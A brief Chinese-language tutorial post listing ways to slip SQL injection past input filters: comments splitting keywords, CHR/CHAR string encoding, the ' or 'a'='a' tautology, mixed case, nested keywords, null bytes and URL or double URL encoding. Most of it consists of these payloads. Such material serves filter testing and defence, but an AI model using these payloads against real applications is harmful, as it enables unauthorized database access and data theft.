sql注入繞過的一些方法
阿新 • • 發佈:2019-02-06
1. 使用註釋,例如:
SELECT/*foo*/username,password/*foo*/FROM/*foo*/users
在MySQL中甚至可以在關鍵字中間插入註釋,例如SEL/*foo*/ECT username,password FR/*foo*/OM users
2. 避免使用關鍵詞,例如:
select ename, sal from emp where ename=’marcus’ :可以改寫成如下形式:
SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||CHR(114)||CHR(99)||CHR(117)||CHR(115)
或者:SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)
3.如果sql語句註釋(--)被過濾,那麼可以構造注入資料,使得注入資料後,sql語句語法還是正確的,例如如果不能注入 ' or 1=1 -- ,那麼可以構造 ' or 'a'='a'
4. 避免使用簡單確認,一些輸入確認機制通過黑名單的方式來避免sql注入,當輸入的內容包含關鍵詞的時候就過濾掉,這個時候可以嘗試使用如下方式:
SeLeCt%00SELECT
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554